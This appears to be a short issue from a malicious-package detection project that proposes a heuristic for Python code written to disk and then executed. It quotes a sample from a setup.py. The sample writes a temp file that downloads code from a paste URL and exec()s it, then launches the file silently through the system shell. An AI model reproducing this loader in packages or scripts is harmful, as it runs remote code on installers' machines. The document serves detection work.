New heuristic to identify Python script written to disk and executed

[christophetd]

For instance:

_ttmp = _ffile(delete=False)
_ttmp.write(b"""from urllib.request import urlopen as _uurlopen;exec(_uurlopen('https://paste.bingner.com/paste/dsvc4/raw').read())""")
_ttmp.close() 
try: _ssystem(f"start {_eexecutable.replace('.exe', 'w.exe')} {_ttmp.name}")
except: pass
setup(

We might want to also take into account running python XX.py after downloading